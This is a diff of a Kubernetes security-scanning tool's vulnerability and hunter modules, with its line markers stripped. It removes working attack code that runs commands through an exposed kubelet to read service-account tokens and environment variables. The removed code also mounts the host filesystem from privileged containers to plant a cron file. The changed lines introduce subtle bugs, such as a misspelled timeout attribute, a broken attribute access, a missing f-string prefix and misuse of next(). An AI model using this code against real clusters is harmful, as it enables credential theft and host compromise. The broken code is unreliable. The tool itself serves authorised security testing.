@@ -67,11 +63,7 @@ class ResetFloodHttp2Implementation(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Possible Reset Flood Attack",
category=DenialOfService,
vid="KHV025",
self, KubernetesCluster, name="Possible Reset Flood Attack", category=DenialOfService, vid="KHV025",
)
self.evidence = evidence
@@ -97,14 +89,10 @@ class IncompleteFixToKubectlCpVulnerability(Vulnerability, Event):
def __init__(self, binary_version):
Vulnerability.__init__(
self,
KubectlClient,
"Kubectl Vulnerable To CVE-2019-11246",
category=RemoteCodeExec,
vid="KHV027",
self, KubectlClient, "Kubectl Vulnerable To CVE-2019-11246", category=RemoteCodeExec, vid="KHV027",
)
self.binary_version = binary_version
self.evidence = f"kubectl version: {self.binary_version}"
self.evidence = "kubectl version: {}".format(self.binary_version)
class KubectlCpVulnerability(Vulnerability, Event):
@@ -113,14 +101,10 @@ class KubectlCpVulnerability(Vulnerability, Event):
def __init__(self, binary_version):
Vulnerability.__init__(
self,
KubectlClient,
"Kubectl Vulnerable To CVE-2019-1002101",
category=RemoteCodeExec,
vid="KHV028",
self, KubectlClient, "Kubectl Vulnerable To CVE-2019-1002101", category=RemoteCodeExec, vid="KHV028",
)
self.binary_version = binary_version
self.evidence = f"kubectl version: {self.binary_version}"
self.evidence = "kubectl version: {}".format(self.binary_version)
class CveUtils:

View File

@@ -16,11 +16,7 @@ class DashboardExposed(Vulnerability, Event):
def __init__(self, nodes):
Vulnerability.__init__(
self,
KubernetesCluster,
"Dashboard Exposed",
category=RemoteCodeExec,
vid="KHV029",
self, KubernetesCluster, "Dashboard Exposed", category=RemoteCodeExec, vid="KHV029",
)
self.evidence = "nodes: {}".format(" ".join(nodes)) if nodes else None

View File

@@ -18,14 +18,10 @@ class PossibleDnsSpoofing(Vulnerability, Event):
def __init__(self, kubedns_pod_ip):
Vulnerability.__init__(
self,
KubernetesCluster,
"Possible DNS Spoof",
category=IdentityTheft,
vid="KHV030",
self, KubernetesCluster, "Possible DNS Spoof", category=IdentityTheft, vid="KHV030",
)
self.kubedns_pod_ip = kubedns_pod_ip
self.evidence = f"kube-dns at: {self.kubedns_pod_ip}"
self.evidence = "kube-dns at: {}".format(self.kubedns_pod_ip)
# Only triggered with RunningAsPod base event
@@ -65,9 +61,7 @@ class DnsSpoofHunter(ActiveHunter):
self_ip = dns_info_res[IP].dst
arp_responses, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
timeout=config.network_timeout,
verbose=0,
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
)
for _, response in arp_responses:
if response[Ether].src == kubedns_pod_mac:
@@ -76,7 +70,7 @@ class DnsSpoofHunter(ActiveHunter):
def execute(self):
config = get_config()
logger.debug("Attempting to get kube-dns pod ip")
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.netork_timeout)[IP].dst
cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac()
kubedns = self.get_kube_dns_ip_mac()

View File

@@ -26,11 +26,7 @@ class EtcdRemoteWriteAccessEvent(Vulnerability, Event):
def __init__(self, write_res):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Etcd Remote Write Access Event",
category=RemoteCodeExec,
vid="KHV031",
self, KubernetesCluster, name="Etcd Remote Write Access Event", category=RemoteCodeExec, vid="KHV031",
)
self.evidence = write_res
@@ -40,11 +36,7 @@ class EtcdRemoteReadAccessEvent(Vulnerability, Event):
def __init__(self, keys):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Etcd Remote Read Access Event",
category=AccessRisk,
vid="KHV032",
self, KubernetesCluster, name="Etcd Remote Read Access Event", category=AccessRisk, vid="KHV032",
)
self.evidence = keys
@@ -89,7 +81,6 @@ class EtcdRemoteAccessActive(ActiveHunter):
def __init__(self, event):
self.event = event
self.write_evidence = ""
self.event.protocol = "https"
def db_keys_write_access(self):
config = get_config()
@@ -97,7 +88,7 @@ class EtcdRemoteAccessActive(ActiveHunter):
data = {"value": "remotely written data"}
try:
r = requests.post(
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
f"{self.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
data=data,
timeout=config.network_timeout,
)
@@ -122,16 +113,14 @@ class EtcdRemoteAccess(Hunter):
self.event = event
self.version_evidence = ""
self.keys_evidence = ""
self.event.protocol = "https"
self.protocol = "https"
def db_keys_disclosure(self):
config = get_config()
logger.debug(f"{self.event.host} Passive hunter is attempting to read etcd keys remotely")
try:
r = requests.get(
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys",
verify=False,
timeout=config.network_timeout,
f"{self.protocol}://{self.eventhost}:{ETCD_PORT}/v2/keys", verify=False, timeout=config.network_timeout,
)
self.keys_evidence = r.content if r.status_code == 200 and r.content != "" else False
return self.keys_evidence
@@ -143,7 +132,7 @@ class EtcdRemoteAccess(Hunter):
logger.debug(f"Trying to check etcd version remotely at {self.event.host}")
try:
r = requests.get(
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/version",
f"{self.protocol}://{self.event.host}:{ETCD_PORT}/version",
verify=False,
timeout=config.network_timeout,
)
@@ -157,9 +146,7 @@ class EtcdRemoteAccess(Hunter):
logger.debug(f"Trying to access etcd insecurely at {self.event.host}")
try:
r = requests.get(
f"http://{self.event.host}:{ETCD_PORT}/version",
verify=False,
timeout=config.network_timeout,
f"http://{self.event.host}:{ETCD_PORT}/version", verify=False, timeout=config.network_timeout,
)
return r.content if r.status_code == 200 and r.content else False
except requests.exceptions.ConnectionError:
@@ -167,10 +154,10 @@ class EtcdRemoteAccess(Hunter):
def execute(self):
if self.insecure_access(): # make a decision between http and https protocol
self.event.protocol = "http"
self.protocol = "http"
if self.version_disclosure():
self.publish_event(EtcdRemoteVersionDisclosureEvent(self.version_evidence))
if self.event.protocol == "http":
if self.protocol == "http":
self.publish_event(EtcdAccessEnabledWithoutAuthEvent(self.version_evidence))
if self.db_keys_disclosure():
self.publish_event(EtcdRemoteReadAccessEvent(self.keys_evidence))

View File

@@ -1,12 +1,10 @@
import json
import logging
import time
from enum import Enum
import re
import requests
import urllib3
import uuid
from kube_hunter.conf import get_config
from kube_hunter.core.events import handler
@@ -35,7 +33,7 @@ class ExposedPodsHandler(Vulnerability, Event):
def __init__(self, pods):
Vulnerability.__init__(
self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure, vid="KHV052"
self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure,
)
self.pods = pods
self.evidence = f"count: {len(self.pods)}"
@@ -47,11 +45,7 @@ class AnonymousAuthEnabled(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Anonymous Authentication",
category=RemoteCodeExec,
vid="KHV036",
self, component=Kubelet, name="Anonymous Authentication", category=RemoteCodeExec, vid="KHV036",
)
@@ -60,11 +54,7 @@ class ExposedContainerLogsHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Container Logs",
category=InformationDisclosure,
vid="KHV037",
self, component=Kubelet, name="Exposed Container Logs", category=InformationDisclosure, vid="KHV037",
)
@@ -74,14 +64,10 @@ class ExposedRunningPodsHandler(Vulnerability, Event):
def __init__(self, count):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Running Pods",
category=InformationDisclosure,
vid="KHV038",
self, component=Kubelet, name="Exposed Running Pods", category=InformationDisclosure, vid="KHV038",
)
self.count = count
self.evidence = f"{self.count} running pods"
self.evidence = "{} running pods".format(self.count)
class ExposedExecHandler(Vulnerability, Event):
@@ -89,11 +75,7 @@ class ExposedExecHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Exec On Container",
category=RemoteCodeExec,
vid="KHV039",
self, component=Kubelet, name="Exposed Exec On Container", category=RemoteCodeExec, vid="KHV039",
)
@@ -102,11 +84,7 @@ class ExposedRunHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Run Inside Container",
category=RemoteCodeExec,
vid="KHV040",
self, component=Kubelet, name="Exposed Run Inside Container", category=RemoteCodeExec, vid="KHV040",
)
@@ -115,11 +93,7 @@ class ExposedPortForwardHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Port Forward",
category=RemoteCodeExec,
vid="KHV041",
self, component=Kubelet, name="Exposed Port Forward", category=RemoteCodeExec, vid="KHV041",
)
@@ -129,11 +103,7 @@ class ExposedAttachHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Attaching To Container",
category=RemoteCodeExec,
vid="KHV042",
self, component=Kubelet, name="Exposed Attaching To Container", category=RemoteCodeExec, vid="KHV042",
)
@@ -143,43 +113,19 @@ class ExposedHealthzHandler(Vulnerability, Event):
def __init__(self, status):
Vulnerability.__init__(
self,
component=Kubelet,
name="Cluster Health Disclosure",
category=InformationDisclosure,
vid="KHV043",
self, component=Kubelet, name="Cluster Health Disclosure", category=InformationDisclosure, vid="KHV043",
)
self.status = status
self.evidence = f"status: {self.status}"
class ExposedExistingPrivilegedContainersViaSecureKubeletPort(Vulnerability, Event):
"""A malicious actor, that has confirmed anonymous access to the API via the kubelet's secure port, \
can leverage the existing privileged containers identified to damage the host and potentially \
the whole cluster"""
def __init__(self, exposed_existing_privileged_containers):
Vulnerability.__init__(
self,
component=KubernetesCluster,
name="Exposed Existing Privileged Container(s) Via Secure Kubelet Port",
category=AccessRisk,
vid="KHV051",
)
self.exposed_existing_privileged_containers = exposed_existing_privileged_containers
class PrivilegedContainers(Vulnerability, Event):
"""A Privileged container exist on a node
could expose the node/cluster to unwanted root operations"""
def __init__(self, containers):
Vulnerability.__init__(
self,
component=KubernetesCluster,
name="Privileged Container",
category=AccessRisk,
vid="KHV044",
self, component=KubernetesCluster, name="Privileged Container", category=AccessRisk, vid="KHV044",
)
self.containers = containers
self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}"
@@ -190,11 +136,7 @@ class ExposedSystemLogs(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed System Logs",
category=InformationDisclosure,
vid="KHV045",
self, component=Kubelet, name="Exposed System Logs", category=InformationDisclosure, vid="KHV045",
)
@@ -203,11 +145,7 @@ class ExposedKubeletCmdline(Vulnerability, Event):
def __init__(self, cmdline):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Kubelet Cmdline",
category=InformationDisclosure,
vid="KHV046",
self, component=Kubelet, name="Exposed Kubelet Cmdline", category=InformationDisclosure, vid="KHV046",
)
self.cmdline = cmdline
self.evidence = f"cmdline: {self.cmdline}"
@@ -306,7 +244,7 @@ class SecureKubeletPortHunter(Hunter):
""" all methods will return the handler name if successful """
def __init__(self, path, pod, session=None):
self.path = path + ("/" if not path.endswith("/") else "")
self.path = path
self.session = session if session else requests.Session()
self.pod = pod
@@ -314,9 +252,7 @@ class SecureKubeletPortHunter(Hunter):
def test_container_logs(self):
config = get_config()
logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(
pod_namespace=self.pod["namespace"],
pod_id=self.pod["name"],
container_name=self.pod["container"],
pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], container_name=self.pod["container"],
)
return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200
@@ -334,46 +270,36 @@ class SecureKubeletPortHunter(Hunter):
return (
"/cri/exec/"
in self.session.get(
exec_url,
headers=headers,
allow_redirects=False,
verify=False,
timeout=config.network_timeout,
exec_url, headers=headers, allow_redirects=False, verify=False, timeout=config.network_timeout,
).text
)
# need further investigation on websockets protocol for further implementation
def test_port_forward(self):
pass
config = get_config()
headers = {
"Upgrade": "websocket",
"Connection": "Upgrade",
"Sec-Websocket-Key": "s",
"Sec-Websocket-Version": "13",
"Sec-Websocket-Protocol": "SPDY",
}
pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], port=80,
)
self.session.get(
pf_url, headers=headers, verify=False, stream=True, timeout=config.network_timeout,
).status_code == 200
# TODO: what to return?
# Example starting code:
#
# config = get_config()
# headers = {
# "Upgrade": "websocket",
# "Connection": "Upgrade",
# "Sec-Websocket-Key": "s",
# "Sec-Websocket-Version": "13",
# "Sec-Websocket-Protocol": "SPDY",
# }
# pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
# pod_namespace=self.pod["namespace"],
# pod_id=self.pod["name"],
# port=80,
# )
# executes one command and returns output
def test_run_container(self):
config = get_config()
run_url = self.path + KubeletHandlers.RUN.value.format(
pod_namespace="test",
pod_id="test",
container_name="test",
cmd="",
pod_namespace="test", pod_id="test", container_name="test", cmd="",
)
# if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled.
status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code
return status_code == requests.codes.NOT_FOUND
# if we get a Method Not Allowed, we know we passed Authentication and Authorization.
return self.session.get(run_url, verify=False, timeout=config.network_timeout).status_code == 405
# returns list of currently running pods
def test_running_pods(self):
@@ -395,10 +321,7 @@ class SecureKubeletPortHunter(Hunter):
return (
"/cri/attach/"
in self.session.get(
attach_url,
allow_redirects=False,
verify=False,
timeout=config.network_timeout,
attach_url, allow_redirects=False, verify=False, timeout=config.network_timeout,
).text
)
@@ -406,8 +329,7 @@ class SecureKubeletPortHunter(Hunter):
def test_logs_endpoint(self):
config = get_config()
logs_url = self.session.get(
self.path + KubeletHandlers.LOGS.value.format(path=""),
timeout=config.network_timeout,
self.path + KubeletHandlers.LOGS.value.format(path=""), timeout=config.network_timeout,
).text
return "<pre>" in logs_url
@@ -415,9 +337,7 @@ class SecureKubeletPortHunter(Hunter):
def test_pprof_cmdline(self):
config = get_config()
cmd = self.session.get(
self.path + KubeletHandlers.PPROF_CMDLINE.value,
verify=False,
timeout=config.network_timeout,
self.path + KubeletHandlers.PPROF_CMDLINE.value, verify=False, timeout=config.network_timeout,
)
return cmd.text if cmd.status_code == 200 else None
@@ -429,7 +349,7 @@ class SecureKubeletPortHunter(Hunter):
# self.session.cert = self.event.client_cert
# copy session to event
self.event.session = self.session
self.path = f"https://{self.event.host}:10250"
self.path = "https://{self.event.host}:10250"
self.kubehunter_pod = {
"name": "kube-hunter",
"namespace": "default",
@@ -505,7 +425,7 @@ class SecureKubeletPortHunter(Hunter):
pod_data = next(filter(is_kubesystem_pod, pods_data), None)
if pod_data:
container_data = pod_data["spec"]["containers"][0]
container_data = next(pod_data["spec"]["containers"], None)
if container_data:
return {
"name": pod_data["metadata"]["name"],
@@ -514,521 +434,6 @@ class SecureKubeletPortHunter(Hunter):
}
""" Active Hunters """
@handler.subscribe(AnonymousAuthEnabled)
class ProveAnonymousAuth(ActiveHunter):
"""Foothold Via Secure Kubelet Port
Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a
container abusing the configuration of the kubelet's secure port: authentication-auth=false.
"""
def __init__(self, event):
self.event = event
self.base_url = f"https://{self.event.host}:10250/"
def get_request(self, url, verify=False):
config = get_config()
try:
response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
def post_request(self, url, params, verify=False):
config = get_config()
try:
response_text = self.event.session.post(
url=url, verify=verify, params=params, timeout=config.network_timeout
).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
@staticmethod
def has_no_exception(result):
return "Exception: " not in result
@staticmethod
def has_no_error(result):
possible_errors = ["exited with", "Operation not permitted", "Permission denied", "No such file or directory"]
return not any(error in result for error in possible_errors)
@staticmethod
def has_no_error_nor_exception(result):
return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
def process_container(self, run_request_url):
service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
environment_variables = self.post_request(run_request_url, {"cmd": "env"})
if self.has_no_error_nor_exception(service_account_token):
return {
"result": True,
"service_account_token": service_account_token,
"environment_variables": environment_variables,
}
return {"result": False}
def execute(self):
pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)
# At this point, the following must happen:
# a) we get the data of the running pods
# b) we get a forbidden message because the API server
# has a configuration that denies anonymous attempts despite the kubelet being vulnerable
if self.has_no_error_nor_exception(pods_raw) and "items" in pods_raw:
pods_data = json.loads(pods_raw)["items"]
temp_message = ""
exposed_existing_privileged_containers = list()
for pod_data in pods_data:
pod_namespace = pod_data["metadata"]["namespace"]
pod_id = pod_data["metadata"]["name"]
for container_data in pod_data["spec"]["containers"]:
container_name = container_data["name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
extracted_data = self.process_container(run_request_url)
if extracted_data["result"]:
service_account_token = extracted_data["service_account_token"]
environment_variables = extracted_data["environment_variables"]
temp_message += (
f"\n\nPod namespace: {pod_namespace}"
+ f"\n\nPod ID: {pod_id}"
+ f"\n\nContainer name: {container_name}"
+ f"\n\nService account token: {service_account_token}"
+ f"\nEnvironment variables: {environment_variables}"
)
first_check = container_data.get("securityContext", {}).get("privileged")
first_subset = container_data.get("securityContext", {})
second_subset = first_subset.get("capabilities", {})
data_for_second_check = second_subset.get("add", [])
second_check = "SYS_ADMIN" in data_for_second_check
if first_check or second_check:
exposed_existing_privileged_containers.append(
{
"pod_namespace": pod_namespace,
"pod_id": pod_id,
"container_name": container_name,
"service_account_token": service_account_token,
"environment_variables": environment_variables,
}
)
if temp_message:
message = "The following containers have been successfully breached." + temp_message
self.event.evidence = f"{message}"
if exposed_existing_privileged_containers:
self.publish_event(
ExposedExistingPrivilegedContainersViaSecureKubeletPort(
exposed_existing_privileged_containers=exposed_existing_privileged_containers
)
)
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
"""Malicious Intent Via Secure Kubelet Port
Attempts to demonstrate that a malicious actor can leverage existing privileged containers
exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,
such that a process can be started or modified on the host.
"""
def __init__(self, event, seconds_to_wait_for_os_command=1):
self.event = event
self.base_url = f"https://{self.event.host}:10250/"
self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
self.number_of_rm_attempts = 5
self.number_of_rmdir_attempts = 5
self.number_of_umount_attempts = 5
def post_request(self, url, params, verify=False):
config = get_config()
try:
response_text = self.event.session.post(
url, verify, params=params, timeout=config.network_timeout
).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
def clean_attacked_exposed_existing_privileged_container(
self,
run_request_url,
file_system_or_partition,
directory_created,
file_created,
number_of_rm_attempts,
number_of_umount_attempts,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
):
self.rm_command(
run_request_url,
f"{directory_created}/etc/cron.daily/{file_created}",
number_of_rm_attempts,
seconds_to_wait_for_os_command,
)
self.umount_command(
run_request_url,
file_system_or_partition,
directory_created,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
)
self.rmdir_command(
run_request_url,
directory_created,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
)
def check_file_exists(self, run_request_url, file):
file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)
return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)
def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
if self.check_file_exists(run_request_url, file_to_remove):
for _ in range(number_of_rm_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"})
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.check_file_exists(run_request_url, file_to_remove)
if first_check and not second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to remove file: "
+ file_to_remove
)
return False
def chmod_command(self, run_request_url, permissions, file):
return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"})
def touch_command(self, run_request_url, file_to_create):
return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"})
def attack_exposed_existing_privileged_container(
self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
):
if file_name is None:
file_name = "kube-hunter" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
file_created = self.touch_command(run_request_url, file_name_with_path)
if ProveAnonymousAuth.has_no_error_nor_exception(file_created):
permissions_changed = self.chmod_command(run_request_url, "755", file_name_with_path)
if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):
return {"result": True, "file_created": file_name}
self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)
return {"result": False}
def check_directory_exists(self, run_request_url, directory):
directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)
return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)
def rmdir_command(
self,
run_request_url,
directory_to_remove,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
):
if self.check_directory_exists(run_request_url, directory_to_remove):
for _ in range(number_of_rmdir_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"})
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.check_directory_exists(run_request_url, directory_to_remove)
if first_check and not second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to remove directory: "
+ directory_to_remove
)
return False
def ls_command(self, run_request_url, file_or_directory):
return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"})
def umount_command(
self,
run_request_url,
file_system_or_partition,
directory,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
):
# Note: the logic implemented proved more reliable than using "df"
# command to resolve for mounted systems/partitions.
current_files_and_directories = self.ls_command(run_request_url, directory)
if self.ls_command(run_request_url, directory) == current_files_and_directories:
for _ in range(number_of_umount_attempts):
# Ref: http://man7.org/linux/man-pages/man2/umount.2.html
command_execution_outcome = self.post_request(
run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"}
)
if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command)
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
second_check = self.ls_command(run_request_url, directory) != current_files_and_directories
if first_check and second_check:
return True
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
logger.warning(
"kube-hunter: "
+ "POD="
+ pod_id
+ ", "
+ "CONTAINER="
+ container_name
+ " - Unable to unmount "
+ file_system_or_partition
+ " at: "
+ directory
)
return False
def mount_command(self, run_request_url, file_system_or_partition, directory):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mount {file_system_or_partition} {directory}"})
def mkdir_command(self, run_request_url, directory_to_create):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mkdir {directory_to_create}"})
def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):
# Ref: http://man7.org/linux/man-pages/man8/findfs.8.html
return self.post_request(
run_request_url, {"cmd": f"findfs {file_system_or_partition_type}{file_system_or_partition}"}
)
def get_root_values(self, command_line):
for command in command_line.split(" "):
# Check for variable-definition commands as there can be commands which don't define variables.
if "=" in command:
split = command.split("=")
if split[0] == "root":
if len(split) > 2:
# Potential valid scenario: root=LABEL=example
root_value_type = split[1] + "="
root_value = split[2]
return root_value, root_value_type
else:
root_value_type = ""
root_value = split[1]
return root_value, root_value_type
return None, None
def process_exposed_existing_privileged_container(
self,
run_request_url,
number_of_umount_attempts,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
directory_to_create=None,
):
if directory_to_create is None:
directory_to_create = "/kube-hunter_" + str(uuid.uuid1())
# /proc/cmdline - This file shows the parameters passed to the kernel at the time it is started.
command_line = self.cat_command(run_request_url, "/proc/cmdline")
if ProveAnonymousAuth.has_no_error_nor_exception(command_line):
if len(command_line.split(" ")) > 0:
root_value, root_value_type = self.get_root_values(command_line)
# Move forward only when the "root" variable value was actually defined.
if root_value:
if root_value_type:
file_system_or_partition = self.findfs_command(run_request_url, root_value_type, root_value)
else:
file_system_or_partition = root_value
if ProveAnonymousAuth.has_no_error_nor_exception(file_system_or_partition):
directory_created = self.mkdir_command(run_request_url, directory_to_create)
if ProveAnonymousAuth.has_no_error_nor_exception(directory_created):
directory_created = directory_to_create
mounted_file_system_or_partition = self.mount_command(
run_request_url, file_system_or_partition, directory_created
)
if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):
host_name = self.cat_command(run_request_url, f"{directory_created}/etc/hostname")
if ProveAnonymousAuth.has_no_error_nor_exception(host_name):
return {
"result": True,
"file_system_or_partition": file_system_or_partition,
"directory_created": directory_created,
}
self.umount_command(
run_request_url,
file_system_or_partition,
directory_created,
number_of_umount_attempts,
seconds_to_wait_for_os_command,
)
self.rmdir_command(
run_request_url,
directory_created,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
)
return {"result": False}
def execute(self, directory_to_create=None, file_name=None):
temp_message = ""
for exposed_existing_privileged_containers in self.event.exposed_existing_privileged_containers:
pod_namespace = exposed_existing_privileged_containers["pod_namespace"]
pod_id = exposed_existing_privileged_containers["pod_id"]
container_name = exposed_existing_privileged_containers["container_name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(
run_request_url,
self.number_of_umount_attempts,
self.number_of_rmdir_attempts,
self.seconds_to_wait_for_os_command,
directory_to_create,
)
if is_exposed_existing_privileged_container_privileged["result"]:
file_system_or_partition = is_exposed_existing_privileged_container_privileged[
"file_system_or_partition"
]
directory_created = is_exposed_existing_privileged_container_privileged["directory_created"]
# Execute attack attempt: start/modify process in host.
attack_successful_on_exposed_privileged_container = self.attack_exposed_existing_privileged_container(
run_request_url,
directory_created,
self.number_of_rm_attempts,
self.seconds_to_wait_for_os_command,
file_name,
)
if attack_successful_on_exposed_privileged_container["result"]:
file_created = attack_successful_on_exposed_privileged_container["file_created"]
self.clean_attacked_exposed_existing_privileged_container(
run_request_url,
file_system_or_partition,
directory_created,
file_created,
self.number_of_rm_attempts,
self.number_of_umount_attempts,
self.number_of_rmdir_attempts,
self.seconds_to_wait_for_os_command,
)
temp_message += "\n\nPod namespace: {}\n\nPod ID: {}\n\nContainer name: {}".format(
pod_namespace, pod_id, container_name
)
if temp_message:
message = (
"The following exposed existing privileged containers"
+ " have been successfully abused by starting/modifying a process in the host."
+ temp_message
)
self.event.evidence = f"{message}"
else:
message = (
"The following exposed existing privileged containers"
+ " were not successfully abused by starting/modifying a process in the host."
+ "Keep in mind that attackers might use other methods to attempt to abuse them."
+ temp_message
)
self.event.evidence = f"{message}"
@handler.subscribe(ExposedRunHandler)
class ProveRunHandler(ActiveHunter):
"""Kubelet Run Hunter
@@ -1048,22 +453,18 @@ class ProveRunHandler(ActiveHunter):
cmd=command,
)
return self.event.session.post(
f"{self.base_path}/{run_url}",
verify=False,
timeout=config.network_timeout,
f"{self.base_path}/{run_url}", verify=False, timeout=config.network_timeout,
).text
def execute(self):
config = get_config()
r = self.event.session.get(
f"{self.base_path}/" + KubeletHandlers.PODS.value,
verify=False,
timeout=config.network_timeout,
self.base_path + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
)
if "items" in r.text:
pods_data = r.json()["items"]
for pod_data in pods_data:
container_data = pod_data["spec"]["containers"][0]
container_data = next(pod_data["spec"]["containers"])
if container_data:
output = self.run(
"uname -a",
@@ -1092,14 +493,12 @@ class ProveContainerLogsHandler(ActiveHunter):
def execute(self):
config = get_config()
pods_raw = self.event.session.get(
self.base_url + KubeletHandlers.PODS.value,
verify=False,
timeout=config.network_timeout,
self.base_url + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
).text
if "items" in pods_raw:
pods_data = json.loads(pods_raw)["items"]
for pod_data in pods_data:
container_data = pod_data["spec"]["containers"][0]
container_data = next(pod_data["spec"]["containers"])
if container_data:
container_name = container_data["name"]
output = requests.get(
@@ -1133,16 +532,11 @@ class ProveSystemLogs(ActiveHunter):
f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"),
verify=False,
timeout=config.network_timeout,
)
# TODO: add more methods for proving system logs
if audit_logs.status_code == requests.status_codes.codes.OK:
logger.debug(f"Audit log of host {self.event.host}: {audit_logs.text[:10]}")
